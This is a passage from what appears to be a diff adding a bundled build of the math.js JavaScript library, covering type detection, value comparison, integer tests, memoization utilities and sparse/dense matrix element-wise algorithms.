`'boolean'` | `math.typeof(true)` + * string | `'string'` | `math.typeof('hello world')` + * Array | `'Array'` | `math.typeof([1, 2, 3])` + * Date | `'Date'` | `math.typeof(new Date())` + * Function | `'Function'` | `math.typeof(function () {})` + * Object | `'Object'` | `math.typeof({a: 2, b: 3})` + * RegExp | `'RegExp'` | `math.typeof(/a regexp/)` + * undefined | `'undefined'` | `math.typeof(undefined)` + * math.type.BigNumber | `'BigNumber'` | `math.typeof(math.bignumber('2.3e500'))` + * math.type.Chain | `'Chain'` | `math.typeof(math.chain(2))` + * math.type.Complex | `'Complex'` | `math.typeof(math.complex(2, 3))` + * math.type.Fraction | `'Fraction'` | `math.typeof(math.fraction(1, 3))` + * math.type.Help | `'Help'` | `math.typeof(math.help('sqrt'))` + * math.type.Help | `'Help'` | `math.typeof(math.help('sqrt'))` + * math.type.Index | `'Index'` | `math.typeof(math.index(1, 3))` + * math.type.Matrix | `'Matrix'` | `math.typeof(math.matrix([[1,2], [3, 4]]))` + * math.type.Range | `'Range'` | `math.typeof(math.range(0, 10))` + * math.type.ResultSet | `'ResultSet'` | `math.typeof(math.eval('a=2\nb=3'))` + * math.type.Unit | `'Unit'` | `math.typeof(math.unit('45 deg'))` + * math.expression.node​.AccessorNode | `'AccessorNode'` | `math.typeof(math.parse('A[2]'))` + * math.expression.node​.ArrayNode | `'ArrayNode'` | `math.typeof(math.parse('[1,2,3]'))` + * math.expression.node​.AssignmentNode | `'AssignmentNode'` | `math.typeof(math.parse('x=2'))` + * math.expression.node​.BlockNode | `'BlockNode'` | `math.typeof(math.parse('a=2; b=3'))` + * math.expression.node​.ConditionalNode | `'ConditionalNode'` | `math.typeof(math.parse('x<0 ? -x : x'))` + * math.expression.node​.ConstantNode | `'ConstantNode'` | `math.typeof(math.parse('2.3'))` + * math.expression.node​.FunctionAssignmentNode | `'FunctionAssignmentNode'` | `math.typeof(math.parse('f(x)=x^2'))` + * math.expression.node​.FunctionNode | `'FunctionNode'` | `math.typeof(math.parse('sqrt(4)'))` + * math.expression.node​.IndexNode | `'IndexNode'` | `math.typeof(math.parse('A[2]').index)` + * math.expression.node​.ObjectNode | `'ObjectNode'` | `math.typeof(math.parse('{a:2}'))` + * math.expression.node​.ParenthesisNode | `'ParenthesisNode'` | `math.typeof(math.parse('(2+3)'))` + * math.expression.node​.RangeNode | `'RangeNode'` | `math.typeof(math.parse('1:10'))` + * math.expression.node​.SymbolNode | `'SymbolNode'` | `math.typeof(math.parse('x'))` + * + * Syntax: + * + * math.typeof(x) + * + * Examples: + * + * math.typeof(3.5) // returns 'number' + * math.typeof(math.complex('2-4i')) // returns 'Complex' + * math.typeof(math.unit('45 deg')) // returns 'Unit' + * math.typeof('hello world') // returns 'string' + * + * @param {*} x The variable for which to test the type. + * @return {string} Returns the name of the type. Primitive types are lower case, + * non-primitive types are upper-camel-case. + * For example 'number', 'string', 'Array', 'Date'. + */ + var _typeof = typed('_typeof', { + 'any': function any(x) { + var t = _typeof2(x); + + if (t === 'object') { + // JavaScript types + if (x === null) return 'null'; + if (Array.isArray(x)) return 'Array'; + if (x instanceof Date) return 'Date'; + if (x instanceof RegExp) return 'RegExp'; // math.js types + + if (type.isBigNumber(x)) return 'BigNumber'; + if (type.isComplex(x)) return 'Complex'; + if (type.isFraction(x)) return 'Fraction'; + if (type.isMatrix(x)) return 'Matrix'; + if (type.isUnit(x)) return 'Unit'; + if (type.isIndex(x)) return 'Index'; + if (type.isRange(x)) return 'Range'; + if (type.isResultSet(x)) return 'ResultSet'; + if (type.isNode(x)) return x.type; + if (type.isChain(x)) return 'Chain'; + if (type.isHelp(x)) return 'Help'; + return 'Object'; + } + + if (t === 'function') return 'Function'; + return t; // can be 'string', 'number', 'boolean', ... + } + }); + + _typeof.toTex = undefined; // use default template + + return _typeof; +} + +exports.name = 'typeof'; +exports.factory = factory; + +/***/ }), +/* 27 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var equalScalar = load(__webpack_require__(11)); + var SparseMatrix = type.SparseMatrix; + /** + * Iterates over SparseMatrix nonzero items and invokes the callback function f(Dij, Sij). + * Callback function invoked NNZ times (number of nonzero items in SparseMatrix). + * + * + * ┌ f(Dij, Sij) ; S(i,j) !== 0 + * C(i,j) = ┤ + * └ 0 ; otherwise + * + * + * @param {Matrix} denseMatrix The DenseMatrix instance (D) + * @param {Matrix} sparseMatrix The SparseMatrix instance (S) + * @param {Function} callback The f(Dij,Sij) operation to invoke, where Dij = DenseMatrix(i,j) and Sij = SparseMatrix(i,j) + * @param {boolean} inverse A true value indicates callback should be invoked f(Sij,Dij) + * + * @return {Matrix} SparseMatrix (C) + * + * see https://github.com/josdejong/mathjs/pull/346#issuecomment-97477571 + */ + + var algorithm02 = function algorithm02(denseMatrix, sparseMatrix, callback, inverse) { + // dense matrix arrays + var adata = denseMatrix._data; + var asize = denseMatrix._size; + var adt = denseMatrix._datatype; // sparse matrix arrays + + var bvalues = sparseMatrix._values; + var bindex = sparseMatrix._index; + var bptr = sparseMatrix._ptr; + var bsize = sparseMatrix._size; + var bdt = sparseMatrix._datatype; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // check rows & columns + + + if (asize[0] !== bsize[0] || asize[1] !== bsize[1]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // sparse matrix cannot be a Pattern matrix + + + if (!bvalues) { + throw new Error('Cannot perform operation on Dense Matrix and Pattern Sparse Matrix'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string' && adt === bdt) { + // datatype + dt = adt; // find signature that matches (dt, dt) + + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result (SparseMatrix) + + + var cvalues = []; + var cindex = []; + var cptr = []; // loop columns in b + + for (var j = 0; j < columns; j++) { + // update cptr + cptr[j] = cindex.length; // values in column j + + for (var k0 = bptr[j], k1 = bptr[j + 1], k = k0; k < k1; k++) { + // row + var i = bindex[k]; // update C(i,j) + + var cij = inverse ? cf(bvalues[k], adata[i][j]) : cf(adata[i][j], bvalues[k]); // check for nonzero + + if (!eq(cij, zero)) { + // push i & v + cindex.push(i); + cvalues.push(cij); + } + } + } // update cptr + + + cptr[columns] = cindex.length; // return sparse matrix + + return new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [rows, columns], + datatype: dt + }); + }; + + return algorithm02; +} + +exports.name = 'algorithm02'; +exports.factory = factory; + +/***/ }), +/* 28 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var array = __webpack_require__(2); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + /** + * Calculate the size of a matrix or scalar. + * + * Syntax: + * + * math.size(x) + * + * Examples: + * + * math.size(2.3) // returns [] + * math.size('hello world') // returns [11] + * + * const A = [[1, 2, 3], [4, 5, 6]] + * math.size(A) // returns [2, 3] + * math.size(math.range(1,6)) // returns [5] + * + * See also: + * + * resize, squeeze, subset + * + * @param {boolean | number | Complex | Unit | string | Array | Matrix} x A matrix + * @return {Array | Matrix} A vector with size of `x`. + */ + + var size = typed('size', { + 'Matrix': function Matrix(x) { + // TODO: return the same matrix type as the input + return matrix(x.size()); + }, + 'Array': array.size, + 'string': function string(x) { + return config.matrix === 'Array' ? [x.length] : matrix([x.length]); + }, + 'number | Complex | BigNumber | Unit | boolean | null': function numberComplexBigNumberUnitBooleanNull(x) { + // scalar + return config.matrix === 'Array' ? [] : matrix([]); + } + }); + size.toTex = undefined; // use default template + + return size; +} + +exports.name = 'size'; +exports.factory = factory; + +/***/ }), +/* 29 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var DenseMatrix = type.DenseMatrix; + /** + * Iterates over SparseMatrix A and SparseMatrix B items (zero and nonzero) and invokes the callback function f(Aij, Bij). + * Callback function invoked MxN times. + * + * C(i,j) = f(Aij, Bij) + * + * @param {Matrix} a The SparseMatrix instance (A) + * @param {Matrix} b The SparseMatrix instance (B) + * @param {Function} callback The f(Aij,Bij) operation to invoke + * + * @return {Matrix} DenseMatrix (C) + * + * see https://github.com/josdejong/mathjs/pull/346#issuecomment-97620294 + */ + + var algorithm07 = function algorithm07(a, b, callback) { + // sparse matrix arrays + var asize = a._size; + var adt = a._datatype; // sparse matrix arrays + + var bsize = b._size; + var bdt = b._datatype; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // check rows & columns + + + if (asize[0] !== bsize[0] || asize[1] !== bsize[1]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // zero value + + var zero = 0; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string' && adt === bdt) { + // datatype + dt = adt; // convert 0 to the same datatype + + zero = typed.convert(0, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // vars + + + var i, j; // result arrays + + var cdata = []; // initialize c + + for (i = 0; i < rows; i++) { + cdata[i] = []; + } // matrix + + + var c = new DenseMatrix({ + data: cdata, + size: [rows, columns], + datatype: dt + }); // workspaces + + var xa = []; + var xb = []; // marks indicating we have a value in x for a given column + + var wa = []; + var wb = []; // loop columns + + for (j = 0; j < columns; j++) { + // columns mark + var mark = j + 1; // scatter the values of A(:,j) into workspace + + _scatter(a, j, wa, xa, mark); // scatter the values of B(:,j) into workspace + + + _scatter(b, j, wb, xb, mark); // loop rows + + + for (i = 0; i < rows; i++) { + // matrix values @ i,j + var va = wa[i] === mark ? xa[i] : zero; + var vb = wb[i] === mark ? xb[i] : zero; // invoke callback + + cdata[i][j] = cf(va, vb); + } + } // return sparse matrix + + + return c; + }; + + function _scatter(m, j, w, x, mark) { + // a arrays + var values = m._values; + var index = m._index; + var ptr = m._ptr; // loop values in column j + + for (var k = ptr[j], k1 = ptr[j + 1]; k < k1; k++) { + // row + var i = index[k]; // update workspace + + w[i] = mark; + x[i] = values[k]; + } + } + + return algorithm07; +} + +exports.name = 'algorithm07'; +exports.factory = factory; + +/***/ }), +/* 30 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var naturalSort = __webpack_require__(288); + +function factory(type, config, load, typed) { + var getTypeOf = load(__webpack_require__(26)); + var compare = load(__webpack_require__(55)); + var compareBooleans = compare.signatures['boolean,boolean']; + /** + * Compare two values of any type in a deterministic, natural way. + * + * For numeric values, the function works the same as `math.compare`. + * For types of values that can't be compared mathematically, + * the function compares in a natural way. + * + * For numeric values, x and y are considered equal when the relative + * difference between x and y is smaller than the configured epsilon. + * The function cannot be used to compare values smaller than + * approximately 2.22e-16. + * + * For Complex numbers, first the real parts are compared. If equal, + * the imaginary parts are compared. + * + * Strings are compared with a natural sorting algorithm, which + * orders strings in a "logic" way following some heuristics. + * This differs from the function `compare`, which converts the string + * into a numeric value and compares that. The function `compareText` + * on the other hand compares text lexically. + * + * Arrays and Matrices are compared value by value until there is an + * unequal pair of values encountered. Objects are compared by sorted + * keys until the keys or their values are unequal. + * + * Syntax: + * + * math.compareNatural(x, y) + * + * Examples: + * + * math.compareNatural(6, 1) // returns 1 + * math.compareNatural(2, 3) // returns -1 + * math.compareNatural(7, 7) // returns 0 + * + * math.compareNatural('10', '2') // returns 1 + * math.compareText('10', '2') // returns -1 + * math.compare('10', '2') // returns 1 + * + * math.compareNatural('Answer: 10', 'Answer: 2') // returns 1 + * math.compareText('Answer: 10', 'Answer: 2') // returns -1 + * math.compare('Answer: 10', 'Answer: 2') + * // Error: Cannot convert "Answer: 10" to a number + * + * const a = math.unit('5 cm') + * const b = math.unit('40 mm') + * math.compareNatural(a, b) // returns 1 + * + * const c = math.complex('2 + 3i') + * const d = math.complex('2 + 4i') + * math.compareNatural(c, d) // returns -1 + * + * math.compareNatural([1, 2, 4], [1, 2, 3]) // returns 1 + * math.compareNatural([1, 2, 3], [1, 2]) // returns 1 + * math.compareNatural([1, 5], [1, 2, 3]) // returns 1 + * math.compareNatural([1, 2], [1, 2]) // returns 0 + * + * math.compareNatural({a: 2}, {a: 4}) // returns -1 + * + * See also: + * + * compare, compareText + * + * @param {*} x First value to compare + * @param {*} y Second value to compare + * @return {number} Returns the result of the comparison: + * 1 when x > y, -1 when x < y, and 0 when x == y. + */ + + var compareNatural = typed('compareNatural', { + 'any, any': function anyAny(x, y) { + var typeX = getTypeOf(x); + var typeY = getTypeOf(y); + var c; // numeric types + + if ((typeX === 'number' || typeX === 'BigNumber' || typeX === 'Fraction') && (typeY === 'number' || typeY === 'BigNumber' || typeY === 'Fraction')) { + c = compare(x, y); + + if (c.toString() !== '0') { + // c can be number, BigNumber, or Fraction + return c > 0 ? 1 : -1; // return a number + } else { + return naturalSort(typeX, typeY); + } + } // matrix types + + + if (typeX === 'Array' || typeX === 'Matrix' || typeY === 'Array' || typeY === 'Matrix') { + c = compareMatricesAndArrays(x, y); + + if (c !== 0) { + return c; + } else { + return naturalSort(typeX, typeY); + } + } // in case of different types, order by name of type, i.e. 'BigNumber' < 'Complex' + + + if (typeX !== typeY) { + return naturalSort(typeX, typeY); + } + + if (typeX === 'Complex') { + return compareComplexNumbers(x, y); + } + + if (typeX === 'Unit') { + if (x.equalBase(y)) { + return compareNatural(x.value, y.value); + } // compare by units + + + return compareArrays(x.formatUnits(), y.formatUnits()); + } + + if (typeX === 'boolean') { + return compareBooleans(x, y); + } + + if (typeX === 'string') { + return naturalSort(x, y); + } + + if (typeX === 'Object') { + return compareObjects(x, y); + } + + if (typeX === 'null') { + return 0; + } + + if (typeX === 'undefined') { + return 0; + } // this should not occur... + + + throw new TypeError('Unsupported type of value "' + typeX + '"'); + } + }); + compareNatural.toTex = undefined; // use default template + + /** + * Compare mixed matrix/array types, by converting to same-shaped array. + * This comparator is non-deterministic regarding input types. + * @param {Array | SparseMatrix | DenseMatrix | *} x + * @param {Array | SparseMatrix | DenseMatrix | *} y + * @returns {number} Returns the comparison result: -1, 0, or 1 + */ + + function compareMatricesAndArrays(x, y) { + if (type.isSparseMatrix(x) && type.isSparseMatrix(y)) { + return compareArrays(x.toJSON().values, y.toJSON().values); + } + + if (type.isSparseMatrix(x)) { + // note: convert to array is expensive + return compareMatricesAndArrays(x.toArray(), y); + } + + if (type.isSparseMatrix(y)) { + // note: convert to array is expensive + return compareMatricesAndArrays(x, y.toArray()); + } // convert DenseArray into Array + + + if (type.isDenseMatrix(x)) { + return compareMatricesAndArrays(x.toJSON().data, y); + } + + if (type.isDenseMatrix(y)) { + return compareMatricesAndArrays(x, y.toJSON().data); + } // convert scalars to array + + + if (!Array.isArray(x)) { + return compareMatricesAndArrays([x], y); + } + + if (!Array.isArray(y)) { + return compareMatricesAndArrays(x, [y]); + } + + return compareArrays(x, y); + } + /** + * Compare two Arrays + * + * - First, compares value by value + * - Next, if all corresponding values are equal, + * look at the length: longest array will be considered largest + * + * @param {Array} x + * @param {Array} y + * @returns {number} Returns the comparison result: -1, 0, or 1 + */ + + + function compareArrays(x, y) { + // compare each value + for (var i = 0, ii = Math.min(x.length, y.length); i < ii; i++) { + var v = compareNatural(x[i], y[i]); + + if (v !== 0) { + return v; + } + } // compare the size of the arrays + + + if (x.length > y.length) { + return 1; + } + + if (x.length < y.length) { + return -1; + } // both Arrays have equal size and content + + + return 0; + } + /** + * Compare two objects + * + * - First, compare sorted property names + * - Next, compare the property values + * + * @param {Object} x + * @param {Object} y + * @returns {number} Returns the comparison result: -1, 0, or 1 + */ + + + function compareObjects(x, y) { + var keysX = Object.keys(x); + var keysY = Object.keys(y); // compare keys + + keysX.sort(naturalSort); + keysY.sort(naturalSort); + var c = compareArrays(keysX, keysY); + + if (c !== 0) { + return c; + } // compare values + + + for (var i = 0; i < keysX.length; i++) { + var v = compareNatural(x[keysX[i]], y[keysY[i]]); + + if (v !== 0) { + return v; + } + } + + return 0; + } + + return compareNatural; +} +/** + * Compare two complex numbers, `x` and `y`: + * + * - First, compare the real values of `x` and `y` + * - If equal, compare the imaginary values of `x` and `y` + * + * @params {Complex} x + * @params {Complex} y + * @returns {number} Returns the comparison result: -1, 0, or 1 + */ + + +function compareComplexNumbers(x, y) { + if (x.re > y.re) { + return 1; + } + + if (x.re < y.re) { + return -1; + } + + if (x.im > y.im) { + return 1; + } + + if (x.im < y.im) { + return -1; + } + + return 0; +} + +exports.name = 'compareNatural'; +exports.factory = factory; + +/***/ }), +/* 31 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +exports.array = __webpack_require__(2); +exports['boolean'] = __webpack_require__(185); +exports['function'] = __webpack_require__(36); +exports.number = __webpack_require__(3); +exports.object = __webpack_require__(5); +exports.string = __webpack_require__(9); +exports.emitter = __webpack_require__(104); + +/***/ }), +/* 32 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Compares two BigNumbers. + * @param {BigNumber} x First value to compare + * @param {BigNumber} y Second value to compare + * @param {number} [epsilon] The maximum relative difference between x and y + * If epsilon is undefined or null, the function will + * test whether x and y are exactly equal. + * @return {boolean} whether the two numbers are nearly equal + */ + +module.exports = function nearlyEqual(x, y, epsilon) { + // if epsilon is null or undefined, test whether x and y are exactly equal + if (epsilon === null || epsilon === undefined) { + return x.eq(y); + } // use "==" operator, handles infinities + + + if (x.eq(y)) { + return true; + } // NaN + + + if (x.isNaN() || y.isNaN()) { + return false; + } // at this point x and y should be finite + + + if (x.isFinite() && y.isFinite()) { + // check numbers are very close, needed when comparing numbers near zero + var diff = x.minus(y).abs(); + + if (diff.isZero()) { + return true; + } else { + // use relative error + var max = x.constructor.max(x.abs(), y.abs()); + return diff.lte(max.times(epsilon)); + } + } // Infinite and Number or negative Infinite and positive Infinite cases + + + return false; +}; + +/***/ }), +/* 33 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var nearlyEqual = __webpack_require__(3).nearlyEqual; + +var bigNearlyEqual = __webpack_require__(32); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + + var latex = __webpack_require__(4); + /** + * Test whether value x is larger than y. + * + * The function returns true when x is larger than y and the relative + * difference between x and y is larger than the configured epsilon. The + * function cannot be used to compare values smaller than approximately 2.22e-16. + * + * For matrices, the function is evaluated element wise. + * Strings are compared by their numerical value. + * + * Syntax: + * + * math.larger(x, y) + * + * Examples: + * + * math.larger(2, 3) // returns false + * math.larger(5, 2 + 2) // returns true + * + * const a = math.unit('5 cm') + * const b = math.unit('2 inch') + * math.larger(a, b) // returns false + * + * See also: + * + * equal, unequal, smaller, smallerEq, largerEq, compare + * + * @param {number | BigNumber | Fraction | boolean | Unit | string | Array | Matrix} x First value to compare + * @param {number | BigNumber | Fraction | boolean | Unit | string | Array | Matrix} y Second value to compare + * @return {boolean | Array | Matrix} Returns true when the x is larger than y, else returns false + */ + + + var larger = typed('larger', { + 'boolean, boolean': function booleanBoolean(x, y) { + return x > y; + }, + 'number, number': function numberNumber(x, y) { + return x > y && !nearlyEqual(x, y, config.epsilon); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.gt(y) && !bigNearlyEqual(x, y, config.epsilon); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.compare(y) === 1; + }, + 'Complex, Complex': function ComplexComplex() { + throw new TypeError('No ordering relation is defined for complex numbers'); + }, + 'Unit, Unit': function UnitUnit(x, y) { + if (!x.equalBase(y)) { + throw new Error('Cannot compare units with different base'); + } + + return larger(x.value, y.value); + }, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, larger); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, larger, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, larger, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, larger); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return larger(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return larger(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return larger(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, larger, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, larger, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, larger, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, larger, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, larger, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, larger, true).valueOf(); + } + }); + larger.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['larger'], "${args[1]}\\right)") + }; + return larger; +} + +exports.name = 'larger'; +exports.factory = factory; + +/***/ }), +/* 34 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +var number = __webpack_require__(3); + +function factory(type, config, load, typed) { + /** + * Test whether a value is an integer number. + * The function supports `number`, `BigNumber`, and `Fraction`. + * + * The function is evaluated element-wise in case of Array or Matrix input. + * + * Syntax: + * + * math.isInteger(x) + * + * Examples: + * + * math.isInteger(2) // returns true + * math.isInteger(0) // returns true + * math.isInteger(0.5) // returns false + * math.isInteger(math.bignumber(500)) // returns true + * math.isInteger(math.fraction(4)) // returns true + * math.isInteger('3') // returns true + * math.isInteger([3, 0.5, -2]) // returns [true, false, true] + * math.isInteger(math.complex('2-4i') // throws an error + * + * See also: + * + * isNumeric, isPositive, isNegative, isZero + * + * @param {number | BigNumber | Fraction | Array | Matrix} x Value to be tested + * @return {boolean} Returns true when `x` contains a numeric, integer value. + * Throws an error in case of an unknown data type. + */ + var isInteger = typed('isInteger', { + 'number': number.isInteger, + // TODO: what to do with isInteger(add(0.1, 0.2)) ? + 'BigNumber': function BigNumber(x) { + return x.isInt(); + }, + 'Fraction': function Fraction(x) { + return x.d === 1 && isFinite(x.n); + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, isInteger); + } + }); + return isInteger; +} + +exports.name = 'isInteger'; +exports.factory = factory; + +/***/ }), +/* 35 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isMatrix = __webpack_require__(56); +/** + * Test whether a value is a collection: an Array or Matrix + * @param {*} x + * @returns {boolean} isCollection + */ + + +module.exports = function isCollection(x) { + return Array.isArray(x) || isMatrix(x); +}; + +/***/ }), +/* 36 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + // function utils + +/** + * Memoize a given function by caching the computed result. + * The cache of a memoized function can be cleared by deleting the `cache` + * property of the function. + * + * @param {function} fn The function to be memoized. + * Must be a pure function. + * @param {function(args: Array)} [hasher] A custom hash builder. + * Is JSON.stringify by default. + * @return {function} Returns the memoized function + */ + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +exports.memoize = function (fn, hasher) { + return function memoize() { + if (_typeof(memoize.cache) !== 'object') { + memoize.cache = {}; + } + + var args = []; + + for (var i = 0; i < arguments.length; i++) { + args[i] = arguments[i]; + } + + var hash = hasher ? hasher(args) : JSON.stringify(args); + + if (!(hash in memoize.cache)) { + memoize.cache[hash] = fn.apply(fn, args); + } + + return memoize.cache[hash]; + }; +}; +/** + * Find the maximum number of arguments expected by a typed function. + * @param {function} fn A typed function + * @return {number} Returns the maximum number of expected arguments. + * Returns -1 when no signatures where found on the function. + */ + + +exports.maxArgumentCount = function (fn) { + return Object.keys(fn.signatures || {}).reduce(function (args, signature) { + var count = (signature.match(/,/g) || []).length + 1; + return Math.max(args, count); + }, -1); +}; +/** + * Call a typed function with the + * @param {function} fn A function or typed function + * @return {number} Returns the maximum number of expected arguments. + * Returns -1 when no signatures where found on the function. + */ + + +exports.callWithRightArgumentCount = function (fn, args, argCount) { + return Object.keys(fn.signatures || {}).reduce(function (args, signature) { + var count = (signature.match(/,/g) || []).length + 1; + return Math.max(args, count); + }, -1); +}; + +/***/ }), +/* 37 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var DenseMatrix = type.DenseMatrix; + /** + * Iterates over SparseMatrix nonzero items and invokes the callback function f(Dij, Sij). + * Callback function invoked NNZ times (number of nonzero items in SparseMatrix). + * + * + * ┌ f(Dij, Sij) ; S(i,j) !== 0 + * C(i,j) = ┤ + * └ Dij ; otherwise + * + * + * @param {Matrix} denseMatrix The DenseMatrix instance (D) + * @param {Matrix} sparseMatrix The SparseMatrix instance (S) + * @param {Function} callback The f(Dij,Sij) operation to invoke, where Dij = DenseMatrix(i,j) and Sij = SparseMatrix(i,j) + * @param {boolean} inverse A true value indicates callback should be invoked f(Sij,Dij) + * + * @return {Matrix} DenseMatrix (C) + * + * see https://github.com/josdejong/mathjs/pull/346#issuecomment-97477571 + */ + + var algorithm01 = function algorithm01(denseMatrix, sparseMatrix, callback, inverse) { + // dense matrix arrays + var adata = denseMatrix._data; + var asize = denseMatrix._size; + var adt = denseMatrix._datatype; // sparse matrix arrays + + var bvalues = sparseMatrix._values; + var bindex = sparseMatrix._index; + var bptr = sparseMatrix._ptr; + var bsize = sparseMatrix._size; + var bdt = sparseMatrix._datatype; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // check rows & columns + + + if (asize[0] !== bsize[0] || asize[1] !== bsize[1]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // sparse matrix cannot be a Pattern matrix + + + if (!bvalues) { + throw new Error('Cannot perform operation on Dense Matrix and Pattern Sparse Matrix'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // process data types + + var dt = typeof adt === 'string' && adt === bdt ? adt : undefined; // callback function + + var cf = dt ? typed.find(callback, [dt, dt]) : callback; // vars + + var i, j; // result (DenseMatrix) + + var cdata = []; // initialize c + + for (i = 0; i < rows; i++) { + cdata[i] = []; + } // workspace + + + var x = []; // marks indicating we have a value in x for a given column + + var w = []; // loop columns in b + + for (j = 0; j < columns; j++) { + // column mark + var mark = j + 1; // values in column j + + for (var k0 = bptr[j], k1 = bptr[j + 1], k = k0; k < k1; k++) { + // row + i = bindex[k]; // update workspace + + x[i] = inverse ? cf(bvalues[k], adata[i][j]) : cf(adata[i][j], bvalues[k]); // mark i as updated + + w[i] = mark; + } // loop rows + + + for (i = 0; i < rows; i++) { + // check row is in workspace + if (w[i] === mark) { + // c[i][j] was already calculated + cdata[i][j] = x[i]; + } else { + // item does not exist in S + cdata[i][j] = adata[i][j]; + } + } + } // return dense matrix + + + return new DenseMatrix({ + data: cdata, + size: [rows, columns], + datatype: dt + }); + }; + + return algorithm01; +} + +exports.name = 'algorithm01'; +exports.factory = factory; + +/***/ }), +/* 38 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var nearlyEqual = __webpack_require__(3).nearlyEqual; + +var bigNearlyEqual = __webpack_require__(32); + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + + var latex = __webpack_require__(4); + /** + * Test whether value x is smaller than y. + * + * The function returns true when x is smaller than y and the relative + * difference between x and y is smaller than the configured epsilon. The + * function cannot be used to compare values smaller than approximately 2.22e-16. + * + * For matrices, the function is evaluated element wise. + * Strings are compared by their numerical value. + * + * Syntax: + * + * math.smaller(x, y) + * + * Examples: + * + * math.smaller(2, 3) // returns true + * math.smaller(5, 2 * 2) // returns false + * + * const a = math.unit('5 cm') + * const b = math.unit('2 inch') + * math.smaller(a, b) // returns true + * + * See also: + * + * equal, unequal, smallerEq, smaller, smallerEq, compare + * + * @param {number | BigNumber | Fraction | boolean | Unit | string | Array | Matrix} x First value to compare + * @param {number | BigNumber | Fraction | boolean | Unit | string | Array | Matrix} y Second value to compare + * @return {boolean | Array | Matrix} Returns true when the x is smaller than y, else returns false + */ + + + var smaller = typed('smaller', { + 'boolean, boolean': function booleanBoolean(x, y) { + return x < y; + }, + 'number, number': function numberNumber(x, y) { + return x < y && !nearlyEqual(x, y, config.epsilon); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return x.lt(y) && !bigNearlyEqual(x, y, config.epsilon); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return x.compare(y) === -1; + }, + 'Complex, Complex': function ComplexComplex(x, y) { + throw new TypeError('No ordering relation is defined for 